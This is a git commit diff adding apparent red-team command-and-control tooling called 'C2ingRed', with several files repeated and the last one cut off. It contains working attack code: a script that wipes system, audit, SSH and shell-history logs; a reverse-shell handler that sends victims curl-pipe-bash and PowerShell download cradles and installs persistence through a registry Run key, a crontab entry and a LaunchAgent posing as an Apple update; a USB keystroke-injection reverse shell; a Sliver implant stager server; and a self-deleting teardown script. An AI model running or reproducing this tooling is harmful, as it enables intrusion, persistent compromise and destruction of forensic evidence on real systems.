moved things around

2025-04-11 21:00:11 -04:00
parent 95f8c18118
commit 4acb02a88f
27 changed files with 487 additions and 127 deletions
@@ -0,0 +1,98 @@
+#!/bin/bash
+# Zero-logs maintenance script
+
+# Set aggressive umask to minimize permission footprint
+umask 077
+
+# Configuration
+LOG_DIRS=(
+    "/var/log"
+    "/var/spool/mail"
+    "/var/spool/postfix"
+    "/var/lib/dhcp"
+    "/root/.bash_history"
+    "/home/*/.bash_history"
+    "/var/lib/nginx"
+)
+
+SYSTEM_LOGS=(
+    "auth.log"
+    "syslog"
+    "messages"
+    "kern.log"
+    "daemon.log"
+    "user.log"
+    "btmp"
+    "wtmp"
+    "lastlog"
+)
+
+# Disable syslog temporarily
+systemctl stop rsyslog 2>/dev/null
+systemctl stop syslog-ng 2>/dev/null
+systemctl stop systemd-journald 2>/dev/null
+
+# Clear all standard logs
+echo "[+] Clearing standard system logs..."
+for log in "${SYSTEM_LOGS[@]}"; do
+    find /var/log -name "$log*" -exec truncate -s 0 {} \; 2>/dev/null
+    find /var/log -name "$log*" -exec cat /dev/null > {} \; 2>/dev/null
+done
+
+# Clear all journal logs
+echo "[+] Clearing systemd journal..."
+journalctl --vacuum-time=1s 2>/dev/null
+rm -rf /var/log/journal/* 2>/dev/null
+
+# Clear audit logs
+echo "[+] Clearing audit logs..."
+auditctl -e 0 2>/dev/null
+cat /dev/null > /var/log/audit/audit.log 2>/dev/null
+
+# Clear bash history for all users
+echo "[+] Clearing bash history..."
+for histfile in /root/.bash_history /home/*/.bash_history; do
+    [ -f "$histfile" ] && cat /dev/null > "$histfile" 2>/dev/null
+done
+history -c
+cat /dev/null > ~/.bash_history 2>/dev/null
+unset HISTFILE
+
+# Clear NGINX logs
+echo "[+] Clearing NGINX logs..."
+for nginx_log in /var/log/nginx/*; do
+    [ -f "$nginx_log" ] && cat /dev/null > "$nginx_log" 2>/dev/null
+done
+
+# Clear SSH logs
+echo "[+] Clearing SSH logs..."
+cat /dev/null > /var/log/auth.log 2>/dev/null
+cat /dev/null > /var/log/secure 2>/dev/null
+
+# Clear mail logs
+echo "[+] Clearing mail logs..."
+cat /dev/null > /var/log/mail.log 2>/dev/null
+cat /dev/null > /var/log/maillog 2>/dev/null
+
+# Clear sliver logs
+echo "[+] Clearing Sliver C2 logs..."
+find /root/.sliver/logs -type f -exec cat /dev/null > {} \; 2>/dev/null
+find /home/*/.sliver/logs -type f -exec cat /dev/null > {} \; 2>/dev/null
+
+# Clear temporary directories
+echo "[+] Clearing temporary files..."
+rm -rf /tmp/* /var/tmp/* 2>/dev/null
+
+# Clear RAM and swap
+echo "[+] Clearing RAM cache and swap..."
+sync
+echo 3 > /proc/sys/vm/drop_caches
+swapoff -a && swapon -a 2>/dev/null
+
+# Restart logging services
+systemctl start systemd-journald 2>/dev/null
+systemctl start rsyslog 2>/dev/null
+systemctl start syslog-ng 2>/dev/null
+
+echo "[+] Log cleaning complete"
+exit 0
@@ -0,0 +1,98 @@
+#!/bin/bash
+# Zero-logs maintenance script
+
+# Set aggressive umask to minimize permission footprint
+umask 077
+
+# Configuration
+LOG_DIRS=(
+    "/var/log"
+    "/var/spool/mail"
+    "/var/spool/postfix"
+    "/var/lib/dhcp"
+    "/root/.bash_history"
+    "/home/*/.bash_history"
+    "/var/lib/nginx"
+)
+
+SYSTEM_LOGS=(
+    "auth.log"
+    "syslog"
+    "messages"
+    "kern.log"
+    "daemon.log"
+    "user.log"
+    "btmp"
+    "wtmp"
+    "lastlog"
+)
+
+# Disable syslog temporarily
+systemctl stop rsyslog 2>/dev/null
+systemctl stop syslog-ng 2>/dev/null
+systemctl stop systemd-journald 2>/dev/null
+
+# Clear all standard logs
+echo "[+] Clearing standard system logs..."
+for log in "${SYSTEM_LOGS[@]}"; do
+    find /var/log -name "$log*" -exec truncate -s 0 {} \; 2>/dev/null
+    find /var/log -name "$log*" -exec cat /dev/null > {} \; 2>/dev/null
+done
+
+# Clear all journal logs
+echo "[+] Clearing systemd journal..."
+journalctl --vacuum-time=1s 2>/dev/null
+rm -rf /var/log/journal/* 2>/dev/null
+
+# Clear audit logs
+echo "[+] Clearing audit logs..."
+auditctl -e 0 2>/dev/null
+cat /dev/null > /var/log/audit/audit.log 2>/dev/null
+
+# Clear bash history for all users
+echo "[+] Clearing bash history..."
+for histfile in /root/.bash_history /home/*/.bash_history; do
+    [ -f "$histfile" ] && cat /dev/null > "$histfile" 2>/dev/null
+done
+history -c
+cat /dev/null > ~/.bash_history 2>/dev/null
+unset HISTFILE
+
+# Clear NGINX logs
+echo "[+] Clearing NGINX logs..."
+for nginx_log in /var/log/nginx/*; do
+    [ -f "$nginx_log" ] && cat /dev/null > "$nginx_log" 2>/dev/null
+done
+
+# Clear SSH logs
+echo "[+] Clearing SSH logs..."
+cat /dev/null > /var/log/auth.log 2>/dev/null
+cat /dev/null > /var/log/secure 2>/dev/null
+
+# Clear mail logs
+echo "[+] Clearing mail logs..."
+cat /dev/null > /var/log/mail.log 2>/dev/null
+cat /dev/null > /var/log/maillog 2>/dev/null
+
+# Clear sliver logs
+echo "[+] Clearing Sliver C2 logs..."
+find /root/.sliver/logs -type f -exec cat /dev/null > {} \; 2>/dev/null
+find /home/*/.sliver/logs -type f -exec cat /dev/null > {} \; 2>/dev/null
+
+# Clear temporary directories
+echo "[+] Clearing temporary files..."
+rm -rf /tmp/* /var/tmp/* 2>/dev/null
+
+# Clear RAM and swap
+echo "[+] Clearing RAM cache and swap..."
+sync
+echo 3 > /proc/sys/vm/drop_caches
+swapoff -a && swapon -a 2>/dev/null
+
+# Restart logging services
+systemctl start systemd-journald 2>/dev/null
+systemctl start rsyslog 2>/dev/null
+systemctl start syslog-ng 2>/dev/null
+
+echo "[+] Log cleaning complete"
+exit 0
@@ -0,0 +1,156 @@
+#!/bin/bash
+# Automated shell handler for catching and upgrading reverse shells
+
+# Configuration 
+LISTEN_PORT=4444
+C2_HOST="127.0.0.1"  # This will be replaced by Ansible with actual C2 IP
+C2_PORT=50051        # Sliver default gRPC port
+WINDOWS_BEACON="/opt/beacons/windows.exe"
+LINUX_BEACON="/opt/beacons/linux"
+MACOS_BEACON="/opt/beacons/macos"
+
+# Set secure permissions
+umask 077
+
+# Logging function (minimal and encrypted)
+log() {
+    local timestamp=$(date +"%Y-%m-%d %H:%M:%S")
+    local message="$1"
+    echo "$timestamp - $message" | openssl enc -e -aes-256-cbc -pbkdf2 -pass pass:$RANDOM$RANDOM$RANDOM >> /opt/shell-handler/activity.log.enc
+}
+
+# Detect OS function
+detect_os() {
+    local connection=$1
+    
+    # Send commands to determine OS
+    echo "echo \$OSTYPE" > $connection
+    sleep 1
+    ostype=$(cat $connection | grep -i "linux\|darwin\|win")
+    
+    if [[ $ostype == *"win"* ]]; then
+        echo "windows"
+    elif [[ $ostype == *"darwin"* ]]; then
+        echo "macos"
+    elif [[ $ostype == *"linux"* ]]; then
+        echo "linux"
+    else
+        # Try Windows-specific command
+        echo "ver" > $connection
+        sleep 1
+        winver=$(cat $connection | grep -i "microsoft windows")
+        
+        if [[ -n "$winver" ]]; then
+            echo "windows"
+        else
+            # Default to Linux if we can't determine
+            echo "linux"
+        fi
+    fi
+}
+
+# Deploy appropriate beacon based on OS
+deploy_beacon() {
+    local connection=$1
+    local os_type=$2
+    
+    log "Deploying beacon for detected OS: $os_type"
+    
+    case $os_type in
+        windows)
+            # Upload Windows beacon using PowerShell download cradle
+            echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; iex (New-Object Net.WebClient).DownloadString('http://$C2_HOST:8443/beacon.ps1')" > $connection
+            ;;
+        linux)
+            # Upload Linux beacon using curl
+            echo "curl -s http://$C2_HOST:8443/beacon.sh | bash" > $connection
+            ;;
+        macos)
+            # Upload macOS beacon using curl
+            echo "curl -s http://$C2_HOST:8443/beacon.sh | bash" > $connection
+            ;;
+    esac
+    
+    log "Beacon deployment command sent"
+}
+
+# Establish persistence based on OS
+establish_persistence() {
+    local connection=$1
+    local os_type=$2
+    
+    log "Attempting to establish persistence on $os_type"
+    
+    case $os_type in
+        windows)
+            # Windows persistence via registry run key
+            echo "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v Update /t REG_SZ /d %TEMP%\\update.exe /f" > $connection
+            ;;
+        linux)
+            # Linux persistence via crontab
+            echo "(crontab -l 2>/dev/null; echo '*/15 * * * * curl -s http://$C2_HOST:8443/check.sh | bash') | crontab -" > $connection
+            ;;
+        macos)
+            # macOS persistence via launch agent
+            echo "mkdir -p ~/Library/LaunchAgents" > $connection
+            echo "echo '<plist version=\"1.0\"><dict><key>Label</key><string>com.apple.software.update</string><key>ProgramArguments</key><array><string>bash</string><string>-c</string><string>curl -s http://$C2_HOST:8443/check.sh | bash</string></array><key>RunAtLoad</key><true/><key>StartInterval</key><integer>900</integer></dict></plist>' > ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
+            echo "launchctl load ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
+            ;;
+    esac
+    
+    log "Persistence commands sent for $os_type"
+}
+
+# Main shell handler loop
+handle_connections() {
+    log "Shell handler started on port $LISTEN_PORT"
+    
+    # Use mkfifo for bidirectional communication
+    PIPE_PATH="/tmp/shell_handler_pipe"
+    trap 'rm -f $PIPE_PATH' EXIT
+    
+    while true; do
+        # Clean up existing pipe
+        rm -f $PIPE_PATH
+        mkfifo $PIPE_PATH
+        
+        log "Waiting for incoming connection..."
+        nc -lvnp $LISTEN_PORT < $PIPE_PATH | tee $PIPE_PATH.output &
+        NC_PID=$!
+        
+        # Wait for connection to be established
+        while ! grep -q . $PIPE_PATH.output 2>/dev/null; do
+            sleep 1
+            # Check if nc is still running
+            if ! kill -0 $NC_PID 2>/dev/null; then
+                log "Netcat process died, restarting..."
+                rm -f $PIPE_PATH $PIPE_PATH.output
+                continue 2  # Restart the outer loop
+            fi
+        done
+        
+        log "Connection received, detecting OS..."
+        DETECTED_OS=$(detect_os "$PIPE_PATH.output")
+        log "Detected OS: $DETECTED_OS"
+        
+        # Deploy beacon
+        deploy_beacon "$PIPE_PATH" "$DETECTED_OS"
+        sleep 5
+        
+        # Establish persistence
+        establish_persistence "$PIPE_PATH" "$DETECTED_OS"
+        sleep 5
+        
+        # Keep connection alive for manual operation if needed
+        log "Beacon deployed, maintaining shell connection..."
+        echo "echo 'Shell upgraded to beacon. This connection will remain active for manual operation.'" > $PIPE_PATH
+        
+        # Wait for connection to close
+        wait $NC_PID
+        log "Connection closed, cleaning up and restarting listener..."
+        rm -f $PIPE_PATH.output
+    done
+}
+
+# Start the shell handler
+handle_connections
@@ -0,0 +1,52 @@
+REM Title: C2ingRed Reverse Shell
+REM Author: C2ingRed
+REM Description: Establishes a reverse shell to the C2 redirector
+REM Target: Windows 10/11
+REM Version: 1.0
+
+REM Configuration: Modify these values to match your redirector setup
+REM REDIRECTOR_HOST: Your redirector domain or IP
+REM REDIRECTOR_PORT: Port where shell handler is listening
+REM SHELL_TYPE: powershell or cmd
+
+REM ============= Start of configuration =============
+REM REDIRECTOR_HOST=cdn.example.com
+REM REDIRECTOR_PORT=4444
+REM SHELL_TYPE=powershell
+REM ============= End of configuration ===============
+
+REM Minimize the chance of detection by hiding the window
+DELAY 1000
+GUI r
+DELAY 500
+STRING powershell -WindowStyle Hidden
+ENTER
+DELAY 2000
+
+REM Main reverse shell payload
+STRING $ErrorActionPreference = 'SilentlyContinue'; Add-Type -AssemblyName System.Security; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; function cleanup { if (Get-Variable c -ErrorAction SilentlyContinue) { $c.Close() }; if (Get-Variable p -ErrorAction SilentlyContinue) { $p.Close() }; if (Get-Variable s -ErrorAction SilentlyContinue) { $s.Close() }; [GC]::Collect(); exit }
+ENTER
+
+REM Attempt to create socket connection with retry logic
+STRING $attempts = 0; $maxAttempts = 3; while ($attempts -lt $maxAttempts) { try { $c = New-Object System.Net.Sockets.TCPClient('cdn.example.com', 4444); if ($c.Connected) { break }; } catch { $attempts++; if ($attempts -ge $maxAttempts) { cleanup } else { Start-Sleep -Seconds 2 } }; }
+ENTER
+
+REM Setup streams
+STRING $s = $c.GetStream(); [byte[]]$b = 0..65535|%{0}; $sl = New-Object System.Security.Cryptography.AesManaged; $sl.Mode = [System.Security.Cryptography.CipherMode]::CBC; $sl.Padding = [System.Security.Cryptography.PaddingMode]::Zeros; $sl.BlockSize = 128; $sl.KeySize = 256; $i = 0
+ENTER
+
+REM Execute either PowerShell or CMD shell based on configuration
+STRING $p = New-Object System.Diagnostics.Process; $p.StartInfo.FileName = 'powershell.exe'; $p.StartInfo.Arguments = '-NoProfile -ExecutionPolicy Bypass'; $p.StartInfo.UseShellExecute = $false; $p.StartInfo.RedirectStandardInput = $true; $p.StartInfo.RedirectStandardOutput = $true; $p.StartInfo.RedirectStandardError = $true; $p.StartInfo.CreateNoWindow = $true; $p.Start() | Out-Null
+ENTER
+
+REM Setup IO redirection
+STRING $is = $p.StandardInput; $os = $p.StandardOutput; $es = $p.StandardError; $osb = New-Object System.IO.MemoryStream; $esb = New-Object System.IO.MemoryStream; $osl = New-Object System.Threading.AutoResetEvent $false; $esl = New-Object System.Threading.AutoResetEvent $false; $od = $os.BaseStream.BeginRead($b, 0, $b.Length, $null, $null); $ed = $es.BaseStream.BeginRead($b, 0, $b.Length, $null, $null)
+ENTER
+
+REM Main communication loop
+STRING try { while ($true) { if ($c.Connected -ne $true -or ($osb.Length -eq 0 -and $i -gt 10000)) { cleanup }; $i = 0; Start-Sleep -Milliseconds 100; $ab = New-Object byte[] $c.Available; if ($ab.Length -gt 0) { $rd = $s.Read($ab, 0, $ab.Length); $dt = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($ab); $is.Write($dt); $i = 0 }; if ($p.HasExited) { cleanup }; } } catch { cleanup }
+ENTER
+
+REM Execute and complete
+STRING iex 'Get-Process | Select-Object ProcessName,Id,CPU | Sort-Object CPU -Descending | Select-Object -First 5'
+ENTER
@@ -0,0 +1,96 @@
+#!/bin/bash
+# Secure cleanup script for terminating the C2 infrastructure
+
+# Configuration
+SECURE_DELETE_PASSES=7
+MEMORY_WIPE=true
+SELF_DESTRUCT=false  # Set to true for complete instance termination (if API available)
+
+# Set secure umask
+umask 077
+
+# Function to securely delete files
+secure_delete() {
+    local target=$1
+    echo "[+] Securely deleting: $target"
+    
+    if command -v srm > /dev/null; then
+        srm -vzf $target 2>/dev/null
+    elif command -v shred > /dev/null; then
+        shred -vzfn $SECURE_DELETE_PASSES $target 2>/dev/null
+    else
+        # Fallback to dd if specialized tools aren't available
+        dd if=/dev/urandom of=$target bs=1M count=10 conv=notrunc 2>/dev/null
+        dd if=/dev/zero of=$target bs=1M count=10 conv=notrunc 2>/dev/null
+        rm -f $target 2>/dev/null
+    fi
+}
+
+echo "[+] Beginning secure exit procedure..."
+
+# Stop all operational services
+echo "[+] Stopping operational services..."
+services=("nginx" "sliver" "shell-handler" "gophish" "metasploit" "postgresql" "tor" "opendkim" "postfix" "dovecot")
+for service in "${services[@]}"; do
+    systemctl stop $service 2>/dev/null
+    service $service stop 2>/dev/null
+done
+
+# Kill any remaining operational processes
+echo "[+] Terminating operational processes..."
+process_names=("nginx" "sliver" "msfconsole" "meterpreter" "ruby" "nc" "netcat" "socat" "python" "tor")
+for proc in "${process_names[@]}"; do
+    pkill -9 $proc 2>/dev/null
+done
+
+# Clear all logs
+echo "[+] Clearing logs..."
+bash /opt/c2/clean-logs.sh
+
+# Securely delete operational files
+echo "[+] Removing operational files..."
+operational_dirs=(
+    "/opt/c2"
+    "/opt/beacons"
+    "/opt/payloads"
+    "/root/.sliver"
+    "/root/.msf4"
+    "/root/.gophish"
+    "/root/Tools"
+    "/home/*/Tools"
+    "/var/www/html"
+)
+
+for dir in "${operational_dirs[@]}"; do
+    find $dir -type f 2>/dev/null | while read file; do
+        secure_delete "$file"
+    done
+    rm -rf $dir 2>/dev/null
+done
+
+# Remove SSH keys
+echo "[+] Removing SSH keys and configs..."
+find /home/*/.ssh /root/.ssh -type f 2>/dev/null | while read file; do
+    secure_delete "$file"
+done
+
+# Clean memory if requested
+if $MEMORY_WIPE; then
+    echo "[+] Wiping system memory..."
+    sync
+    echo 3 > /proc/sys/vm/drop_caches
+    swapoff -a
+    swapon -a
+fi
+
+# Self-destruct if configured (for cloud providers with API access)
+if $SELF_DESTRUCT; then
+    echo "[+] Initiating self-destruct sequence..."
+    # This would typically call the cloud provider's API to terminate the instance
+    # For FlokiNET, this would need to be handled manually
+fi
+
+echo "[+] Secure exit completed. Infrastructure has been sanitized."
+
+# Remove this script itself
+exec shred -n $SECURE_DELETE_PASSES -uz $0
@@ -0,0 +1,72 @@
+#!/bin/bash
+# Beacon server script to host generated implants
+
+# Configuration
+BEACONS_DIR="/opt/beacons"
+WEBSERVER_PORT=8443
+CERTIFICATE="/etc/ssl/private/beacon-server.pem"
+KEY="/etc/ssl/private/beacon-server.key"
+
+# Set secure umask
+umask 077
+
+# Ensure beacons directory exists
+mkdir -p $BEACONS_DIR
+
+# Function to generate beacons using Sliver
+generate_beacons() {
+    echo "[+] Generating beacons for all platforms..."
+    
+    # Make sure Sliver server is running
+    if ! pgrep -x "sliver-server" > /dev/null; then
+        echo "[!] Sliver server is not running, starting it..."
+        systemctl start sliver
+        sleep 5
+    fi
+    
+    # Generate Windows beacon
+    sliver-cli generate --http $C2_HOST:8888 --os windows --arch amd64 --save $BEACONS_DIR/windows.exe
+    
+    # Generate Linux beacon
+    sliver-cli generate --http $C2_HOST:8888 --os linux --arch amd64 --save $BEACONS_DIR/linux
+    
+    # Generate macOS beacon
+    sliver-cli generate --http $C2_HOST:8888 --os darwin --arch amd64 --save $BEACONS_DIR/macos
+    
+    # Generate stagers
+    echo "#!/bin/bash
+curl -s $C2_HOST:8443/linux | chmod +x && ./linux" > $BEACONS_DIR/beacon.sh
+    chmod +x $BEACONS_DIR/beacon.sh
+    
+    echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;
+\$url = 'http://$C2_HOST:8443/windows.exe';
+\$outpath = \"\$env:TEMP\\update.exe\";
+Invoke-WebRequest -Uri \$url -OutFile \$outpath;
+Start-Process -NoNewWindow -FilePath \$outpath;" > $BEACONS_DIR/beacon.ps1
+    
+    echo "[+] All beacons generated successfully"
+}
+
+# Generate beacons
+generate_beacons
+
+# Serve beacons using Python's HTTP server (with SSL if certificate exists)
+if [ -f "$CERTIFICATE" ] && [ -f "$KEY" ]; then
+    echo "[+] Starting HTTPS server on port $WEBSERVER_PORT..."
+    cd $BEACONS_DIR
+    python3 -m http.server $WEBSERVER_PORT --bind 0.0.0.0 &
+    SERVER_PID=$!
+else
+    echo "[+] Starting HTTP server on port $WEBSERVER_PORT..."
+    cd $BEACONS_DIR
+    python3 -m http.server $WEBSERVER_PORT --bind 0.0.0.0 &
+    SERVER_PID=$!
+fi
+
+echo "[+] Beacon server started with PID $SERVER_PID"
+echo "[+] Beacons available at http(s)://$C2_HOST:$WEBSERVER_PORT/"
+echo "[+] Press Ctrl+C to stop the server"
+
+# Keep script running and respond to Ctrl+C
+trap "kill $SERVER_PID; echo '[+] Beacon server stopped'; exit 0" INT
+while true; do sleep 1; done
@@ -0,0 +1,156 @@
+#!/bin/bash
+# Automated shell handler for catching and upgrading reverse shells
+
+# Configuration 
+LISTEN_PORT=4444
+C2_HOST="127.0.0.1"  # This will be replaced by Ansible with actual C2 IP
+C2_PORT=50051        # Sliver default gRPC port
+WINDOWS_BEACON="/opt/beacons/windows.exe"
+LINUX_BEACON="/opt/beacons/linux"
+MACOS_BEACON="/opt/beacons/macos"
+
+# Set secure permissions
+umask 077
+
+# Logging function (minimal and encrypted)
+log() {
+    local timestamp=$(date +"%Y-%m-%d %H:%M:%S")
+    local message="$1"
+    echo "$timestamp - $message" | openssl enc -e -aes-256-cbc -pbkdf2 -pass pass:$RANDOM$RANDOM$RANDOM >> /opt/shell-handler/activity.log.enc
+}
+
+# Detect OS function
+detect_os() {
+    local connection=$1
+    
+    # Send commands to determine OS
+    echo "echo \$OSTYPE" > $connection
+    sleep 1
+    ostype=$(cat $connection | grep -i "linux\|darwin\|win")
+    
+    if [[ $ostype == *"win"* ]]; then
+        echo "windows"
+    elif [[ $ostype == *"darwin"* ]]; then
+        echo "macos"
+    elif [[ $ostype == *"linux"* ]]; then
+        echo "linux"
+    else
+        # Try Windows-specific command
+        echo "ver" > $connection
+        sleep 1
+        winver=$(cat $connection | grep -i "microsoft windows")
+        
+        if [[ -n "$winver" ]]; then
+            echo "windows"
+        else
+            # Default to Linux if we can't determine
+            echo "linux"
+        fi
+    fi
+}
+
+# Deploy appropriate beacon based on OS
+deploy_beacon() {
+    local connection=$1
+    local os_type=$2
+    
+    log "Deploying beacon for detected OS: $os_type"
+    
+    case $os_type in
+        windows)
+            # Upload Windows beacon using PowerShell download cradle
+            echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; iex (New-Object Net.WebClient).DownloadString('http://$C2_HOST:8443/beacon.ps1')" > $connection
+            ;;
+        linux)
+            # Upload Linux beacon using curl
+            echo "curl -s http://$C2_HOST:8443/beacon.sh | bash" > $connection
+            ;;
+        macos)
+            # Upload macOS beacon using curl
+            echo "curl -s http://$C2_HOST:8443/beacon.sh | bash" > $connection
+            ;;
+    esac
+    
+    log "Beacon deployment command sent"
+}
+
+# Establish persistence based on OS
+establish_persistence() {
+    local connection=$1
+    local os_type=$2
+    
+    log "Attempting to establish persistence on $os_type"
+    
+    case $os_type in
+        windows)
+            # Windows persistence via registry run key
+            echo "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v Update /t REG_SZ /d %TEMP%\\update.exe /f" > $connection
+            ;;
+        linux)
+            # Linux persistence via crontab
+            echo "(crontab -l 2>/dev/null; echo '*/15 * * * * curl -s http://$C2_HOST:8443/check.sh | bash') | crontab -" > $connection
+            ;;
+        macos)
+            # macOS persistence via launch agent
+            echo "mkdir -p ~/Library/LaunchAgents" > $connection
+            echo "echo '<plist version=\"1.0\"><dict><key>Label</key><string>com.apple.software.update</string><key>ProgramArguments</key><array><string>bash</string><string>-c</string><string>curl -s http://$C2_HOST:8443/check.sh | bash</string></array><key>RunAtLoad</key><true/><key>StartInterval</key><integer>900</integer></dict></plist>' > ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
+            echo "launchctl load ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
+            ;;
+    esac
+    
+    log "Persistence commands sent for $os_type"
+}
+
+# Main shell handler loop
+handle_connections() {
+    log "Shell handler started on port $LISTEN_PORT"
+    
+    # Use mkfifo for bidirectional communication
+    PIPE_PATH="/tmp/shell_handler_pipe"
+    trap 'rm -f $PIPE_PATH' EXIT
+    
+    while true; do
+        # Clean up existing pipe
+        rm -f $PIPE_PATH
+        mkfifo $PIPE_PATH
+        
+        log "Waiting for incoming connection..."
+        nc -lvnp $LISTEN_PORT < $PIPE_PATH | tee $PIPE_PATH.output &
+        NC_PID=$!
+        
+        # Wait for connection to be established
+        while ! grep -q . $PIPE_PATH.output 2>/dev/null; do
+            sleep 1
+            # Check if nc is still running
+            if ! kill -0 $NC_PID 2>/dev/null; then
+                log "Netcat process died, restarting..."
+                rm -f $PIPE_PATH $PIPE_PATH.output
+                continue 2  # Restart the outer loop
+            fi
+        done
+        
+        log "Connection received, detecting OS..."
+        DETECTED_OS=$(detect_os "$PIPE_PATH.output")
+        log "Detected OS: $DETECTED_OS"
+        
+        # Deploy beacon
+        deploy_beacon "$PIPE_PATH" "$DETECTED_OS"
+        sleep 5
+        
+        # Establish persistence
+        establish_persistence "$PIPE_PATH" "$DETECTED_OS"
+        sleep 5
+        
+        # Keep connection alive for manual operation if needed
+        log "Beacon deployed, maintaining shell connection..."
+        echo "echo 'Shell upgraded to beacon. This connection will remain active for manual operation.'" > $PIPE_PATH
+        
+        # Wait for connection to close
+        wait $NC_PID
+        log "Connection closed, cleaning up and restarting listener..."
+        rm -f $PIPE_PATH.output
+    done
+}
+
+# Start the shell handler
+handle_connections
@@ -0,0 +1,52 @@
+REM Title: C2ingRed Reverse Shell
+REM Author: C2ingRed
+REM Description: Establishes a reverse shell to the C2 redirector
+REM Target: Windows 10/11
+REM Version: 1.0
+
+REM Configuration: Modify these values to match your redirector setup
+REM REDIRECTOR_HOST: Your redirector domain or IP
+REM REDIRECTOR_PORT: Port where shell handler is listening
+REM SHELL_TYPE: powershell or cmd
+
+REM ============= Start of configuration =============
+REM REDIRECTOR_HOST=cdn.example.com
+REM REDIRECTOR_PORT=4444
+REM SHELL_TYPE=powershell
+REM ============= End of configuration ===============
+
+REM Minimize the chance of detection by hiding the window
+DELAY 1000
+GUI r
+DELAY 500
+STRING powershell -WindowStyle Hidden
+ENTER
+DELAY 2000
+
+REM Main reverse shell payload
+STRING $ErrorActionPreference = 'SilentlyContinue'; Add-Type -AssemblyName System.Security; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; function cleanup { if (Get-Variable c -ErrorAction SilentlyContinue) { $c.Close() }; if (Get-Variable p -ErrorAction SilentlyContinue) { $p.Close() }; if (Get-Variable s -ErrorAction SilentlyContinue) { $s.Close() }; [GC]::Collect(); exit }
+ENTER
+
+REM Attempt to create socket connection with retry logic
+STRING $attempts = 0; $maxAttempts = 3; while ($attempts -lt $maxAttempts) { try { $c = New-Object System.Net.Sockets.TCPClient('cdn.example.com', 4444); if ($c.Connected) { break }; } catch { $attempts++; if ($attempts -ge $maxAttempts) { cleanup } else { Start-Sleep -Seconds 2 } }; }
+ENTER
+
+REM Setup streams
+STRING $s = $c.GetStream(); [byte[]]$b = 0..65535|%{0}; $sl = New-Object System.Security.Cryptography.AesManaged; $sl.Mode = [System.Security.Cryptography.CipherMode]::CBC; $sl.Padding = [System.Security.Cryptography.PaddingMode]::Zeros; $sl.BlockSize = 128; $sl.KeySize = 256; $i = 0
+ENTER
+
+REM Execute either PowerShell or CMD shell based on configuration
+STRING $p = New-Object System.Diagnostics.Process; $p.StartInfo.FileName = 'powershell.exe'; $p.StartInfo.Arguments = '-NoProfile -ExecutionPolicy Bypass'; $p.StartInfo.UseShellExecute = $false; $p.StartInfo.RedirectStandardInput = $true; $p.StartInfo.RedirectStandardOutput = $true; $p.StartInfo.RedirectStandardError = $true; $p.StartInfo.CreateNoWindow = $true; $p.Start() | Out-Null
+ENTER
+
+REM Setup IO redirection
+STRING $is = $p.StandardInput; $os = $p.StandardOutput; $es = $p.StandardError; $osb = New-Object System.IO.MemoryStream; $esb = New-Object System.IO.MemoryStream; $osl = New-Object System.Threading.AutoResetEvent $false; $esl = New-Object System.Threading.AutoResetEvent $false; $od = $os.BaseStream.BeginRead($b, 0, $b.Length, $null, $null); $ed = $es.BaseStream.BeginRead($b, 0, $b.Length, $null, $null)
+ENTER
+
+REM Main communication loop
+STRING try { while ($true) { if ($c.Connected -ne $true -or ($osb.Length -eq 0 -and $i -gt 10000)) { cleanup }; $i = 0; Start-Sleep -Milliseconds 100; $ab = New-Object byte[] $c.Available; if ($ab.Length -gt 0) { $rd = $s.Read($ab, 0, $ab.Length); $dt = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($ab); $is.Write($dt); $i = 0 }; if ($p.HasExited) { cleanup }; } } catch { cleanup }
+ENTER
+
+REM Execute and complete
+STRING iex 'Get-Process | Select-Object ProcessName,Id,CPU | Sort-Object CPU -Descending | Select-Object -First 5'
+ENTER
@@ -0,0 +1,96 @@
+#!/bin/bash
+# Secure cleanup script for terminating the C2 infrastructure
+
+# Configuration
+SECURE_DELETE_PASSES=7
+MEMORY_WIPE=true
+SELF_DESTRUCT=false  # Set to true for complete instance termination (if API available)
+
+# Set secure umask
+umask 077
+
+# Function to securely delete files
+secure_delete() {
+    local target=$1
+    echo "[+] Securely deleting: $target"
+    
+    if command -v srm > /dev/null; then
+        srm -vzf $target 2>/dev/null
+    elif command -v shred > /dev/null; then
+        shred -vzfn $SECURE_DELETE_PASSES $target 2>/dev/null
+    else
+        # Fallback to dd if specialized tools aren't available
+        dd if=/dev/urandom of=$target bs=1M count=10 conv=notrunc 2>/dev/null
+        dd if=/dev/zero of=$target bs=1M count=10 conv=notrunc 2>/dev/null
+        rm -f $target 2>/dev/null
+    fi
+}
+
+echo "[+] Beginning secure exit procedure..."
+
+# Stop all operational services
+echo "[+] Stopping operational services..."
+services=("nginx" "sliver" "shell-handler" "gophish" "metasploit" "postgresql" "tor" "opendkim" "postfix" "dovecot")
+for service in "${services[@]}"; do
+    systemctl stop $service 2>/dev/null
+    service $service stop 2>/dev/null
+done
+
+# Kill any remaining operational processes
+echo "[+] Terminating operational processes..."
+process_names=("nginx" "sliver" "msfconsole" "meterpreter" "ruby" "nc" "netcat" "socat" "python" "tor")
+for proc in "${process_names[@]}"; do
+    pkill -9 $proc 2>/dev/null
+done
+
+# Clear all logs
+echo "[+] Clearing logs..."
+bash /opt/c2/clean-logs.sh
+
+# Securely delete operational files
+echo "[+] Removing operational files..."
+operational_dirs=(
+    "/opt/c2"
+    "/opt/beacons"
+    "/opt/payloads"
+    "/root/.sliver"
+    "/root/.msf4"
+    "/root/.gophish"
+    "/root/Tools"
+    "/home/*/Tools"
+    "/var/www/html"
+)
+
+for dir in "${operational_dirs[@]}"; do
+    find $dir -type f 2>/dev/null | while read file; do
+        secure_delete "$file"
+    done
+    rm -rf $dir 2>/dev/null
+done
+
+# Remove SSH keys
+echo "[+] Removing SSH keys and configs..."
+find /home/*/.ssh /root/.ssh -type f 2>/dev/null | while read file; do
+    secure_delete "$file"
+done
+
